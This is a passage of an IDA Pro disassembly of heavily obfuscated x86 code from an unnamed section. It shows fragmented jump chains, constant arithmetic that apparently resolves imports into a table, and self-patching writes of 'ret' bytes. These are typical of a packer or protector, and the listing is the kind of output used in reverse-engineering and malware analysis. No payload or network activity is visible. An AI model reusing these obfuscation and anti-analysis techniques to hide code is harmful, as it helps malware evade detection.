; ---------------------------------------------------------------------------


loc_74AB1B:				; CODE XREF: _0z4jwtox:loc_755DDAj
		call	sub_7570E0
; START	OF FUNCTION CHUNK FOR sub_74D23E


loc_74AB20:				; CODE XREF: sub_74D23E+1978j
		jmp	loc_7540EB
; END OF FUNCTION CHUNK	FOR sub_74D23E
; ---------------------------------------------------------------------------


loc_74AB25:				; CODE XREF: _0z4jwtox:0074C230j
		jmp	loc_74964A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7543C5


loc_74AB2A:				; CODE XREF: sub_7543C5-E4F2j
		jmp	loc_74BE50
; END OF FUNCTION CHUNK	FOR sub_7543C5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747C22


loc_74AB2F:				; CODE XREF: sub_747C22:loc_747A08j
					; sub_747C22+BEB2j
		mov	eax, [ebp-18h]
		mov	eax, [eax]
		shl	eax, 3
		add	eax, [ebp-8]
		push	ebx
		push	0A0C47C49h
		pop	ebx
		jmp	loc_747EAC
; END OF FUNCTION CHUNK	FOR sub_747C22
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_746E93


loc_74AB46:				; CODE XREF: sub_746E93:loc_752F54j
		mov	edx, ds:dword_756678
		or	edx, edx
		jnz	loc_756671
		jmp	loc_74E53F
; END OF FUNCTION CHUNK	FOR sub_746E93
; ---------------------------------------------------------------------------
		jle	sub_745480
		jmp	sub_750F63
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7452F3


loc_74AB64:				; CODE XREF: sub_7452F3:loc_7522A8j
		jz	loc_74A39E
		jmp	loc_746585
; END OF FUNCTION CHUNK	FOR sub_7452F3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7460F1


loc_74AB6F:				; CODE XREF: sub_7460F1+Cj
		mov	eax, esi
		pop	esi
		and	eax, 0AB25EA5Bh
		or	eax, 45C2B3B5h
		add	eax, 3117FCCDh
		call	sub_746E93
		jmp	loc_74D41F
; END OF FUNCTION CHUNK	FOR sub_7460F1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74C670


loc_74AB8E:				; CODE XREF: sub_74C670-6BDDj
		mov	eax, edi


loc_74AB90:				; CODE XREF: sub_74F73B-58D5j
		xchg	eax, [esp-4+arg_0]
		push	300D166Ah
		xchg	ecx, [esp+0]
		mov	edi, ecx
		jmp	loc_7559AB
; END OF FUNCTION CHUNK	FOR sub_74C670
; ---------------------------------------------------------------------------


loc_74ABA2:				; CODE XREF: _0z4jwtox:loc_74E632j
		jge	loc_757112
; START	OF FUNCTION CHUNK FOR sub_755340


loc_74ABA8:				; CODE XREF: sub_755340+18j
		jmp	loc_749B44
; END OF FUNCTION CHUNK	FOR sub_755340
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_750B5C


loc_74ABAD:				; CODE XREF: sub_750B5C+3256j
		jmp	loc_747847
; END OF FUNCTION CHUNK	FOR sub_750B5C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74BF3A


loc_74ABB2:				; CODE XREF: sub_74BF3A+3B7j
		jmp	nullsub_76
; END OF FUNCTION CHUNK	FOR sub_74BF3A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74C8DA


loc_74ABB7:				; CODE XREF: sub_74C8DA-1866j
		jmp	sub_756158
; END OF FUNCTION CHUNK	FOR sub_74C8DA
; ---------------------------------------------------------------------------
		shr	edi, 10h
		mov	edx, [ecx]
		jmp	loc_757107
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74C670


loc_74ABC6:				; CODE XREF: sub_74C670:loc_756ABAj
		xchg	eax, ebx
		push	0E31802CEh
		jmp	loc_755BF9
; END OF FUNCTION CHUNK	FOR sub_74C670
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_746C5E


loc_74ABD3:				; CODE XREF: sub_746C5E+6F70j
		xor	eax, 0AEB5E723h
		ror	eax, 1Dh
		push	offset sub_748723
		jmp	loc_749F1B
; END OF FUNCTION CHUNK	FOR sub_746C5E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_746F33


loc_74ABE6:				; CODE XREF: sub_746F33+16j
		xor	edx, 0F596403Ah
		or	edx, 54292993h
		add	edx, 0E9877B66h
		add	edx, ebp
		add	edx, 0B98884D3h
		mov	[edx], eax
		jmp	loc_746B6A
; END OF FUNCTION CHUNK	FOR sub_746F33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74B079


loc_74AC07:				; CODE XREF: sub_74B079:loc_74715Cj
		and	eax, 9EA52596h
		sub	eax, 5B967DC2h
		xor	eax, 0FAA130CDh
		call	sub_746E93
		mov	ds:off_41F0A4, eax
		jmp	loc_754DEE
; END OF FUNCTION CHUNK	FOR sub_74B079
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74D4D3


loc_74AC29:				; CODE XREF: sub_74D4D3:loc_74534Ej
		pop	edi
		rol	ebx, 1Fh
		and	ebx, 0F7D03778h
		sub	ebx, 0F73348EBh
		test	ebx, 40000000h
		jmp	loc_74C402
; END OF FUNCTION CHUNK	FOR sub_74D4D3
; ---------------------------------------------------------------------------


loc_74AC44:				; CODE XREF: _0z4jwtox:loc_74C2C4j
		nop
		mov	eax, [esp]
		call	sub_746CF0
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_752F34


loc_74AC4E:				; CODE XREF: sub_752F34+Aj
		jmp	nullsub_102
; END OF FUNCTION CHUNK	FOR sub_752F34
; ---------------------------------------------------------------------------
		db 0EFh
dword_74AC54	dd 0							; sub_748C98:loc_74DF24r

; =============== S U B	R O U T	I N E =======================================



sub_74AC58	proc near		; CODE XREF: sub_40ADCF+2CBp
					; sub_40ADCF+2E8p ...
		call	sub_74AC6D
		jmp	ds:off_41F108
sub_74AC58	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_75309B


loc_74AC63:				; CODE XREF: sub_74AE46:loc_74E66Cj
					; sub_75309B+Ej
		jmp	loc_747DB5
; END OF FUNCTION CHUNK	FOR sub_75309B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_748B52


loc_74AC68:				; CODE XREF: sub_748B52+9A0j
		jmp	loc_7566AD
; END OF FUNCTION CHUNK	FOR sub_748B52

; =============== S U B	R O U T	I N E =======================================



sub_74AC6D	proc near		; CODE XREF: sub_747D01+Dj sub_74AC58p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 0074A217 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0074AF38 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 00750C0D SIZE 0000000F BYTES

		pop	edx
		jmp	loc_74AF38
sub_74AC6D	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74AAC1


loc_74AC73:				; CODE XREF: sub_74AAC1+3EC0j
		js	sub_74720A
		ror	edi, 1Dh
		cmp	esi, 51AA8D83h
		jmp	loc_74B0A7
; END OF FUNCTION CHUNK	FOR sub_74AAC1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_752D11


loc_74AC87:				; CODE XREF: sub_752D11:loc_745FF8j
		jz	loc_7510BB
		jmp	loc_74ED04
; END OF FUNCTION CHUNK	FOR sub_752D11
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7561AB


loc_74AC92:				; CODE XREF: sub_7561AB-51FEj
		jnp	loc_74DB46
		xchg	ebp, [ebx]
; END OF FUNCTION CHUNK	FOR sub_7561AB
; START	OF FUNCTION CHUNK FOR sub_75275A


loc_74AC9A:				; CODE XREF: sub_75275A:loc_747CD5j
					; sub_7561AB:loc_753CD0j
		jb	loc_745ED8
		lea	eax, [ebp-12Dh]
		jmp	loc_747A36
; END OF FUNCTION CHUNK	FOR sub_75275A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7514BF


loc_74ACAB:				; CODE XREF: sub_7514BF:loc_7490F1j
		jz	loc_748482
		push	ebp
		mov	eax, [ebp-20h]
		call	sub_75481B
		pop	ecx
		mov	[ebp-20h], eax
		jmp	loc_755D9F
; ---------------------------------------------------------------------------


loc_74ACC3:				; CODE XREF: sub_7514BF+4j
		test	byte ptr [ebp-8], 40h
		jmp	loc_745964
; END OF FUNCTION CHUNK	FOR sub_7514BF
; ---------------------------------------------------------------------------
		shr	ebp, 0Bh
; START	OF FUNCTION CHUNK FOR sub_751307


loc_74ACCF:				; CODE XREF: sub_751307:loc_75130Fj
		jmp	sub_746633
; END OF FUNCTION CHUNK	FOR sub_751307
; ---------------------------------------------------------------------------


loc_74ACD4:				; CODE XREF: _0z4jwtox:00756E5Cj
		push	edi
		adc	ebx, ecx
; START	OF FUNCTION CHUNK FOR sub_74698F


loc_74ACD7:				; CODE XREF: sub_74698F:loc_756E43j
		add	edx, 0A884F4A7h
		mov	[edx], eax
		pop	edx
		jmp	loc_754B4F
; END OF FUNCTION CHUNK	FOR sub_74698F
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_88. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_754CBF


loc_74ACE6:				; CODE XREF: sub_754CBF-4CA8j
		jmp	loc_756D9C
; END OF FUNCTION CHUNK	FOR sub_754CBF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74F78B


loc_74ACEB:				; CODE XREF: sub_74F78B-1E63j
		jmp	loc_7510FD
; END OF FUNCTION CHUNK	FOR sub_74F78B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74C68A


loc_74ACF0:				; CODE XREF: sub_74C68A-EFj
		jmp	sub_75375E
; END OF FUNCTION CHUNK	FOR sub_74C68A
; ---------------------------------------------------------------------------


loc_74ACF5:				; CODE XREF: _0z4jwtox:007473C7j
		jmp	loc_746294

; =============== S U B	R O U T	I N E =======================================



sub_74ACFA	proc near		; CODE XREF: sub_755179-9B52p

; FUNCTION CHUNK AT 0074F786 SIZE 00000005 BYTES

		push	offset sub_75479F
		jmp	loc_74F786
sub_74ACFA	endp

; ---------------------------------------------------------------------------
		and	ebx, 0BF985F31h
		jmp	loc_748E43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_752957


loc_74AD0F:				; CODE XREF: sub_752957+1441j
		call	sub_756826
		mov	eax, 6E103E68h
		call	sub_746E93
		mov	ds:off_41F000, eax
		lea	eax, loc_753D8D
		mov	byte ptr [eax],	0C3h
		jmp	loc_753D8D
; ---------------------------------------------------------------------------


loc_74AD32:				; CODE XREF: sub_752957:loc_753D8Dj
		pop	edx
		jmp	loc_74EF46
; END OF FUNCTION CHUNK	FOR sub_752957
; ---------------------------------------------------------------------------
		mov	ds:dword_41F044, eax
		lea	eax, nullsub_17
		mov	byte ptr [eax],	0C3h
		jmp	loc_7521F3

; =============== S U B	R O U T	I N E =======================================



sub_74AD4C	proc near		; CODE XREF: sub_4010B2+18Cp
					; sub_4010B2+2D4p ...
		push	offset loc_7562C0
		jmp	nullsub_45
sub_74AD4C	endp


; =============== S U B	R O U T	I N E =======================================



sub_74AD56	proc near		; DATA XREF: sub_75481B+3o

; FUNCTION CHUNK AT 0074FD25 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 007573C5 SIZE 0000000A BYTES

		add	esp, 0FFFFFFF8h
		mov	[ebp-4], eax
		mov	eax, [ebp-4]
		mov	[ebp-8], eax
		jmp	loc_7573C5
sub_74AD56	endp

; ---------------------------------------------------------------------------


loc_74AD67:				; CODE XREF: _0z4jwtox:loc_74FC2Bj
		pop	edx
		add	edx, 38B26892h
		sub	edx, 0F1B72FF3h
		add	edx, 9AD40164h
		jmp	loc_7564CA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7531B7


loc_74AD7F:				; CODE XREF: sub_7531B7:loc_74D9D6j
		mov	byte ptr [eax],	0C3h
		jmp	loc_754F57
; END OF FUNCTION CHUNK	FOR sub_7531B7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74BD26


loc_74AD87:				; CODE XREF: sub_74BD26j
		call	sub_755DA4
		mov	[eax], edi
		jmp	sub_74667B
; END OF FUNCTION CHUNK	FOR sub_74BD26
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74F615


loc_74AD93:				; CODE XREF: sub_74F615-3082j
		jz	loc_7569C6
		xchg	esi, [edx]
		cdq
		and	ecx, esi


loc_74AD9E:				; CODE XREF: sub_74F615-308Aj
		add	eax, 40A09B37h
		jmp	loc_74E0DC
; END OF FUNCTION CHUNK	FOR sub_74F615
; ---------------------------------------------------------------------------
		add	ebx, eax
		mov	eax, ds:dword_74B938
		mov	[eax], ebx
		jmp	loc_754392
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_75364C


loc_74ADB7:				; CODE XREF: sub_75364C-DAEBj
		shl	eax, cl
		and	edx, eax
		jmp	loc_747482
; END OF FUNCTION CHUNK	FOR sub_75364C

; =============== S U B	R O U T	I N E =======================================



sub_74ADC0	proc near		; CODE XREF: sub_747A67+823Ap
					; _0z4jwtox:00756B11j
		xchg	esi, [esp+0]
		pop	esi
		push	249DB7ABh
		shl	ecx, 0Bh
		jmp	loc_7577BB
sub_74ADC0	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_130. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_74ADD2:				; CODE XREF: _0z4jwtox:loc_74A2F4j
		or	ecx, 0F5CB63FDh
		sub	ecx, 213CFCC7h
		add	ecx, 2192FDF2h
		mov	[ecx], eax
		jmp	loc_74EF12
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_755C38


loc_74ADEB:				; CODE XREF: sub_755C38-740Ej
		xor	eax, 66907E30h
		call	sub_746E93
		push	edx
		push	2E35E359h
		pop	edx
		jmp	loc_74F01A
; END OF FUNCTION CHUNK	FOR sub_755C38
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74D4D3


loc_74AE02:				; CODE XREF: sub_74D4D3:loc_74C402j
		jnz	loc_752FA1


loc_74AE08:				; CODE XREF: sub_74763A+7504j
		jmp	loc_750ACB
; END OF FUNCTION CHUNK	FOR sub_74D4D3
; ---------------------------------------------------------------------------
		mov	edx, 9A25960Fh
		jmp	loc_752F96
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74C9CF


loc_74AE17:				; CODE XREF: sub_74C9CF+Aj
		rol	ecx, 15h
		xor	ecx, 2F69A2A0h
		rol	ecx, 8
		add	ecx, 24BC7BE3h
		xchg	ecx, [esp+0]
		jmp	loc_75474C
; END OF FUNCTION CHUNK	FOR sub_74C9CF
; ---------------------------------------------------------------------------


loc_74AE31:				; CODE XREF: _0z4jwtox:0074D17Cj
		push	offset loc_74559C
		jmp	loc_74B208
; ---------------------------------------------------------------------------
		or	ebp, 7230E251h
		jmp	loc_74ECEE

; =============== S U B	R O U T	I N E =======================================



sub_74AE46	proc near		; CODE XREF: sub_74A7D8-39C6p
					; _0z4jwtox:00755522j

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00745077 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00745F5F SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00747477 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00749EFD SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074B3FC SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0074BAF0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074E66C SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0074F1D4 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0074FAC9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00750E59 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00752D29 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00752D79 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00754449 SIZE 0000002E BYTES
; FUNCTION CHUNK AT 00755BD4 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00756226 SIZE 00000005 BYTES

		xchg	ecx, [esp-4+arg_0]
		pop	ecx
		push	ebp


loc_74AE4B:				; CODE XREF: _0z4jwtox:0074B6A5j
		add	ebp, 964265F0h
		jmp	loc_749EFD
sub_74AE46	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_74AE56:				; CODE XREF: _0z4jwtox:loc_750725j
					; _0z4jwtox:00757633j
		mov	eax, [ebp-4]


loc_74AE59:				; CODE XREF: _0z4jwtox:00751E6Cj
		cmp	byte ptr [eax],	0F1h
		jnz	loc_7556FE
		jmp	loc_74EDFE

; =============== S U B	R O U T	I N E =======================================



sub_74AE67	proc near		; CODE XREF: sub_749306:loc_749380p
					; _0z4jwtox:0074C8B6j

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0074904F SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0074D3D3 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0074D641 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0074DA63 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074F4F2 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00752005 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0075549D SIZE 00000006 BYTES
; FUNCTION CHUNK AT 007554A8 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00755AE7 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00757298 SIZE 00000005 BYTES

		xchg	eax, [esp+0]
		pop	eax
		push	0B421D72Ah
		pop	eax
		xor	eax, 382AFEEh
		js	loc_74904F
		adc	esi, 7085DEC1h
		jmp	loc_755AE7
sub_74AE67	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_74AE88:				; CODE XREF: _0z4jwtox:0074EA44j
		js	loc_756879

; =============== S U B	R O U T	I N E =======================================



sub_74AE8E	proc near		; CODE XREF: _0z4jwtox:00756AFCp

; FUNCTION CHUNK AT 00747D83 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074C980 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 007523B8 SIZE 00000017 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		push	24E20446h
		jmp	loc_7523B8
sub_74AE8E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_74AE9C:				; CODE XREF: _0z4jwtox:loc_74E238j
		jnz	loc_74C25E
		jmp	loc_7493A1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_754CBF


loc_74AEA7:				; CODE XREF: sub_754CBF+Fj
		rol	edi, 19h
		sub	edi, 0D7FE243Dh
		add	edi, 0E932098h
		test	edi, 8000000h
		jmp	loc_757687
; END OF FUNCTION CHUNK	FOR sub_754CBF
; ---------------------------------------------------------------------------


loc_74AEC1:				; CODE XREF: _0z4jwtox:0074C276j
		jl	loc_7563A5
		pop	ebx
		test	esi, 9BFB8B63h
		jmp	loc_7563FD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74A821


loc_74AED3:				; CODE XREF: sub_74A821:loc_745409j
					; sub_74A821+B004j
		push	offset loc_7551E5
		jmp	loc_756770
; END OF FUNCTION CHUNK	FOR sub_74A821
; ---------------------------------------------------------------------------


loc_74AEDD:				; DATA XREF: sub_747D98+8Eo
		push	3CADB534h
		pop	edi
		xor	edi, 83718AD2h
		rol	edi, 1
		add	edi, 808971B3h
		jmp	loc_7485C4
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_187. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74CF35


loc_74AEF7:				; CODE XREF: sub_74CF35+513Aj
		jmp	loc_753CB8
; END OF FUNCTION CHUNK	FOR sub_74CF35
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7543C5


loc_74AEFC:				; CODE XREF: sub_7543C5:loc_74EBE7j
		xor	eax, ecx
		pop	ecx
		rol	eax, 0Dh
		mov	ds:dword_753554, eax


loc_74AF08:				; CODE XREF: sub_7544F1+2j
					; sub_756496-DC9j
		ror	eax, 0Dh
		jmp	loc_75571B
; END OF FUNCTION CHUNK	FOR sub_7543C5

; =============== S U B	R O U T	I N E =======================================



sub_74AF10	proc near		; DATA XREF: sub_74A8D1-4562o

; FUNCTION CHUNK AT 0074901A SIZE 00000003 BYTES
; FUNCTION CHUNK AT 00749975 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0074D7C8 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00755189 SIZE 00000005 BYTES

		add	ecx, 0D87825FEh
		mov	[ecx], eax
		pop	ecx
		cmp	dword ptr [ebp-4], 0
		jz	loc_75276D


loc_74AF23:				; CODE XREF: sub_74D782:loc_7456B1j
		jmp	loc_749975
sub_74AF10	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74FE55


loc_74AF28:				; CODE XREF: sub_74FE55-7BABj
		push	544F08BEh
		xor	edi, 0A0967F41h
		jmp	loc_750860
; END OF FUNCTION CHUNK	FOR sub_74FE55
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74AC6D


loc_74AF38:				; CODE XREF: sub_74AC6D+1j
		jns	loc_750C0D
		mov	eax, [esp-8+arg_4]
		push	edx
		call	sub_74FACE
		push	392B640Ch
		xchg	ebp, [esp+0]
		mov	eax, ebp
		or	ebp, 655D423Fh
		jmp	loc_74A217
; END OF FUNCTION CHUNK	FOR sub_74AC6D
; ---------------------------------------------------------------------------
		add	eax, 525B7E7Bh
		xor	eax, 176F47E5h
		rol	eax, 11h
		call	sub_746FBD


loc_74AF70:				; CODE XREF: _0z4jwtox:007550C0j
		jmp	loc_74AADF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7509E0


loc_74AF75:				; CODE XREF: sub_7509E0-69A6j
		jmp	nullsub_84
; END OF FUNCTION CHUNK	FOR sub_7509E0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_748FA4


loc_74AF7A:				; CODE XREF: sub_748FA4:loc_746D64j
		jnz	loc_749ADC
		jmp	loc_74E5B7
; END OF FUNCTION CHUNK	FOR sub_748FA4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74D1F3


loc_74AF85:				; CODE XREF: sub_75309B:loc_74AAD4j
					; sub_74D1F3+2D43j
		push	7F26C2F2h
		pop	eax
		and	eax, 944A391Dh
		xor	eax, 0B1A026BFh
		jmp	loc_74C654
; END OF FUNCTION CHUNK	FOR sub_74D1F3

; =============== S U B	R O U T	I N E =======================================



sub_74AF9C	proc near		; DATA XREF: sub_74E40A:loc_748DF5o

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00745802 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074866C SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00752D24 SIZE 00000005 BYTES

		xor	esi, 82066DC9h
		xor	eax, esi
		pop	esi
		ror	eax, 2
		sub	eax, 7815456Ch
		mov	edx, [esp+0]
		jmp	loc_745802
sub_74AF9C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_74AFB6:				; CODE XREF: _0z4jwtox:00750281j
		jnz	loc_74CA21
		jz	loc_752B6C
		test	esi, 36CE4E78h
		jmp	loc_7505EF
; ---------------------------------------------------------------------------
		mov	[eax], ebx
		jmp	loc_7473CC
; ---------------------------------------------------------------------------
		add	ebp, edi
		jmp	loc_749B92
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_748A22


loc_74AFDB:				; CODE XREF: sub_748A22:loc_756C44j
		mov	dword ptr [ebp-18h], 0


loc_74AFE2:				; CODE XREF: _0z4jwtox:loc_74A4E3j
		push	offset loc_75686C
		jmp	loc_749B65
; END OF FUNCTION CHUNK	FOR sub_748A22
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74ECEF


loc_74AFEC:				; CODE XREF: sub_74ECEF:loc_75772Dj
		add	edx, 83D48FA6h
		xor	edx, 6F6A4D3Ah
		add	edx, ebp
		add	edx, 3871741h
		mov	edx, [edx]
		push	edi
		jmp	loc_74BAFF
; END OF FUNCTION CHUNK	FOR sub_74ECEF

; =============== S U B	R O U T	I N E =======================================



sub_74B008	proc near		; CODE XREF: _0z4jwtox:007528CBj
					; _0z4jwtox:00756D3Dp
		xchg	esi, [esp+0]
		pop	esi
		lea	eax, loc_745F8D
		mov	byte ptr [eax],	0C3h
		jmp	loc_745F8D
sub_74B008	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_74B01A	proc near		; CODE XREF: sub_408F94+5Ap
					; _0z4jwtox:00750670j
					; DATA XREF: ...

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 007464D5 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0074CB74 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074D79C SIZE 0000002C BYTES
; FUNCTION CHUNK AT 00750676 SIZE 0000000F BYTES

		push	edi
		jmp	loc_7464D5
sub_74B01A	endp


; =============== S U B	R O U T	I N E =======================================



sub_74B020	proc near		; CODE XREF: _0z4jwtox:00745E35j
					; _0z4jwtox:00754E75p

arg_0		= dword	ptr  4

		xchg	ebx, [esp+0]
		pop	ebx
		mov	eax, [esp-4+arg_0]
		push	offset loc_74E914
		jmp	nullsub_283
sub_74B020	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74A96E


loc_74B031:				; CODE XREF: sub_74A96E:loc_747856j
					; sub_74A96E-3106j
		add	edi, 0E18F9418h
		cmp	edi, 32324B2Dh
		jmp	loc_754863
; END OF FUNCTION CHUNK	FOR sub_74A96E

; =============== S U B	R O U T	I N E =======================================



sub_74B042	proc near		; DATA XREF: sub_747C22+4F0Eo

; FUNCTION CHUNK AT 00757714 SIZE 00000019 BYTES

		add	esi, 8BDEFEF2h
		add	eax, esi
		pop	esi
		mov	[ebp-10h], eax
		push	0BB585A87h
		pop	eax
		and	eax, 0E471935Dh
		sub	eax, 87D7AB00h
		jmp	loc_757714
sub_74B042	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		mov	ds:off_41F0A0, eax
		lea	eax, sub_756158
; START	OF FUNCTION CHUNK FOR sub_74C8DA


loc_74B071:				; CODE XREF: sub_74C8DA:loc_74A8C1j
		mov	byte ptr [eax],	0C3h
		jmp	loc_74ABB7
; END OF FUNCTION CHUNK	FOR sub_74C8DA

; =============== S U B	R O U T	I N E =======================================



sub_74B079	proc near		; CODE XREF: sub_406782+6Bp
					; sub_406782+22Fp ...

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0074715C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00749C57 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074AC07 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0074B585 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0074C83B SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00754618 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00754DEE SIZE 00000011 BYTES

		push	esi
		push	23E26C67h
		pop	esi
		xor	esi, 5F9B3AB6h
		add	esi, 0CE3B0436h
		jmp	loc_749C57
sub_74B079	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_74B091	proc near		; CODE XREF: _0z4jwtox:00748AADp
					; _0z4jwtox:00756080j

; FUNCTION CHUNK AT 0075133F SIZE 00000023 BYTES

		xchg	ebx, [esp+0]


loc_74B094:				; CODE XREF: _0z4jwtox:loc_7505EFj
		pop	ebx
		mov	byte ptr [eax],	0C3h
		call	sub_754FC6
		mov	edx, 0A22F8A70h
		jmp	loc_75133F
sub_74B091	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74AAC1


loc_74B0A7:				; CODE XREF: sub_74AAC1+1C1j
		jnz	loc_750EBF
		xor	edi, ecx
		xor	ebp, 9F589CFh
		jmp	loc_757783
; END OF FUNCTION CHUNK	FOR sub_74AAC1
; ---------------------------------------------------------------------------


loc_74B0BA:				; CODE XREF: _0z4jwtox:00750B44j
		js	loc_7569C6
; START	OF FUNCTION CHUNK FOR sub_752D11


loc_74B0C0:				; CODE XREF: sub_752D11-C4B9j
		add	ebx, 5DF5A5E1h
		xchg	ebx, [esp+0]
		jmp	loc_7575DE
; END OF FUNCTION CHUNK	FOR sub_752D11
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747AEC


loc_74B0CE:				; CODE XREF: sub_747AEC+63DFj
		call	sub_7558D0


loc_74B0D3:				; CODE XREF: sub_747A94:loc_753558j
		add	edx, 9404CC69h
		mov	edx, [edx]
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jz	loc_746194
		jmp	loc_751E78
; END OF FUNCTION CHUNK	FOR sub_747AEC
; ---------------------------------------------------------------------------
		and	edx, 0C984B0FAh
		jmp	sub_748B97
; ---------------------------------------------------------------------------
		cmp	eax, [ebp-0Ch]
		jnz	loc_749C84
		jmp	loc_75759D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_753FCE


loc_74B103:				; CODE XREF: sub_753FCE:loc_750785j
		jz	loc_7472FB
